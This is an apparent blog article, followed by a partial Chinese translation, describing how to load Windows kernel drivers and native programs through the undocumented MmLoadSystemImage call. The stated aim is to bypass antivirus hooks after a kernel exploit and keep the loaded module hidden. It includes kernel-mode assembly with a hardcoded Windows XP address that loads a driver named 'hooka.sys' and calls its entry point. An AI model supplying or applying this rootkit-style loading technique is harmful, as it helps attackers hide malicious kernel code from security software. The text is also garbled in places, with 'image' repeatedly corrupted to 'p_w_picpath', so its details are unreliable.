Loading drivers and Native applications from kernel mode, without touching registry


    * Security

"How to load driver without touching registry from kernel mode", this is asked almost always. Today, I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.

This is required because even if you exploit kernel vulnerabilities ,you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).

The first method to load driver is given below:

Windows NT loads drivers using the following function ZwLoadDriver.

Its declaration is as follows:

NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);

DriverServiceName: Pointer to a counted Unicode string that specifies a path to the driver's registry key, /Registry/Machine/System/CurrentControlSet/Services/DriverName, where DriverName is the name of the driver

The Second Method is given below:

After Windows 2000 start's up, It starts loading the special driver win2k.sys.It doesn't load in the traditional way (as all other drivers are loaded) by calling the following procedures ZwLoadDriver, NtLoadDriver etc.

It actually loads by the following kernel API ZwSetSystemInformation.

This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.

It is actually implemented as follows:

ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//specifies operation to do
IN PVOID SystemInformation, //specifies operation data
IN ULONG SystemInformationLength ) //specifies data length

it's internally implemented as follows:

Switch (SystemInformationClass)
Case 0:

Case 1:
.
.
.
Case 5: ;this actually extends the system service descriptor table
.
.
.
MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,p_w_picpathhandle,baseaddress);

call entrypoint(driverobject,NULL) ;

break ;
case 6:
.
.
.
.
.

These 2 are the only known method of loading drivers.

Here is the third method. (No antivirus solution currently hijacks it so it is safe).

As seen above ZwSetSysteminformation loadp_w_picpath function to load driver into memory and then calls its entry point.

Now we will briefly analyze the parameters and functionality of MmLoadSystemImage

MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
ULONG unknown=0,PVOID p_w_picpathhandle,PVOID baseaddress);

ImagePath is a fully qualified NT style pathname
prefix is added to pathname when loading driver

basename is the name system shows after module has been loaded

unknown is unknown

*p_w_picpathhandle is the handle to section(it's already referenced, so you will have dereference it at unload)

*baseaddress is the address at which p_w_picpath has been loaded in kernel memory

This function actually loads the p_w_picpath in memory, resolves imports,loads dependencies, etc.

In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)

NOTE:- MmLoadSystemp_w_picpath internally calls and checks the p_w_picpath after loading it into memory so make sure the checksum for the p_w_picpath is fine.This functionality is done by the MiCheckSystemImage.The import resolving job and dependency loading is done by MiResolveImageReferences API.

Thee MmloadSystemp_w_picpath works as follows: (PseudoCode)

1) traverse existing module list to check whether it has been alredy loaded
2) if it exists return error (p_w_picpath already loaded STATUS_IMAGE_ALREADY_LOADED) and return from call

3) try to open file using Zwopenfile,if file cannot be opened,just return with error code
4) compute p_w_picpath checksum and match it with checksum stored in header
5) if checksum doesn't matches. return with error code
6) create a section with zwcreatesection and then reference it
7) map it into kernel space using mMapViewInSystemSpace
8) if necessary apply relocations to p_w_picpath using function LdrRelocateImage
9) resolve refrences iusing MiResolveImageReferences
10) then create an entry in psmoduleloadedlist for the module
11) make it writeprotect
12) then close file handle
13) return from call

So, now we have a function which loads p_w_picpath in memory, but what about calling Driver Entry (entry point of driver). This information can be obtained from the PE headers itself after the p_w_picpath successfully loads in memory. This method has been and can used to load and execute drivers, native applications etc directly from kernel mode

Here is the assembly code (kernel mode assembly code). it has been tested on Windows XP SP0 English Version.After minor modifation code runs on win2k,xp,2k3 etc

__asm {

;below code loads the driver in memory
loaddriver:
mov dword [Stack],esp //save stack

;paramters as always are passed in reverse
push DWORD Driverbase ;it stores driver base
push DWORD ImageHandle ;it stores section handle
push dword 0
push dword 0
push dword 0
push DWORD U_STRINGloc ;it points to unicode string containing driver to load

mov edi, 0x805c03ae ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)
call edi
cmp eax,0 ;check whether driver loaded successfully in memory
jne drivernotloaded ; if loading failed, exit without calling entrypoint

;since driver has loaded successfully call its init function both parameters are passed 0
mov DWORD edi, [Driverbase]
mov DWORD ebx ,[edi + 0x3c] ;to get offset of optional header
mov dword ebx,[edi + ebx + 0x18 + 0x10] ; to get entry point ofset from base of code
add edi ,ebx ; add base + entry point to get entry point in memory
push 0 ;
push 0
call edi ;call entry point (Driver Entry in case of Drivers)

drivernotloaded:
mov dword esp,[ Stack] ; correct stack so as execution continues

ret

; Here data and/or variables are stored

; This is the driver to load including path name

;DosDevices@:hooka.sys length 48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;it's used to store driver base address
Driverbase:
dd 0
;it's used to store section handle
ImageHandle:
dd 0;

;it is used to store Stack location
Stack:
dd 0

;structure used for unicode strings in memory
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//asm code ends here

NOTE: - These API's or functions are not exported by NTOSKRNL, but these exist for internal usage.These functions are not hooked by any anti-virus solutions, so these can be used to load drivers and native application and then run them.

That's all about loading a driver from kernel mode without touching registry.

Also,the code does some error checking,so as no hard error occurs.





译文

本文提供了一种在win NT下悄声无息的加载驱动的方法。这里所将的驱动并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到的Driver直接译作驱动,本人E文也不是很好,之所以翻译这篇文章是想给大家提供以下参考。错译之处在所难免,希望各位兄台多多批评指正。

译文:

怎样在不经过注册表的情况下加载驱动,这是很多人常常问到的一个问题。现在,我们一起来分析WINDOWS操作系统是怎样加载驱动的,既而找到一种实现加载驱动而不通过注册表的办法。
    
我们必须注意到即使我们在对系统内核进行溢出的过程中,你仍然无法让其加载任何驱动因为几乎所有的防毒措施都会监控WINDOWS系统内核调用的API(这些API就是让系统写入特殊注册地址的)
    
加载驱动的第一种方法通常为:
     WIN NT
利用函数ZwLoadDriver实现加载驱动。
    
它的描述如下:

NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);

驱动服务名称:指定一个Unicode字符串以区分驱动的注册键值,\Registry\Machine\System\CurrentControlSet\Services\DriverNameDriverName就是该驱动的名称。